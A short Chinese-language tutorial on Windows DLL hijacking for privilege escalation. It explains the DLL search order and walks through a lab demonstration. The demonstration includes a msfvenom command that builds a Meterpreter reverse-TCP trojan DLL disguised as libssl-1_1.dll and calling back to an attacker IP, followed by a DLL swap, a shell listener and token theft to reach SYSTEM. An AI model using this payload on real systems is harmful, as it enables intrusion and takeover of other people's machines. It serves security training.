0x001 原理
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
Windows查找DLL目录及其顺序如下:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。
详细文章介绍:https://www.anquanke.com/post/id/225911
0x002 演示
程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成木马程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。
攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll-启动应用后成功
我们在Windows2008装了一个第三方软件用于测试
1、收集进程加载的dll
使用火绒剑分析该进程执行时加载了哪些dll
系统文件一般我们是更改不了的,所以一般选择未知文件和数字签名文件。
2、msf制作dll木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134 lport=6677 -f dll >./libssl-1_1.dll
3、替换dll
4、启动软件
启动后执行的是我们替换的木马dll,剩下就是使用msf监听端口接收反弹回来的shell就可以了,思路有很多,取决于我们制作的dll用于干什么。
这里劫持dll配合令牌窃取拿到了system
权限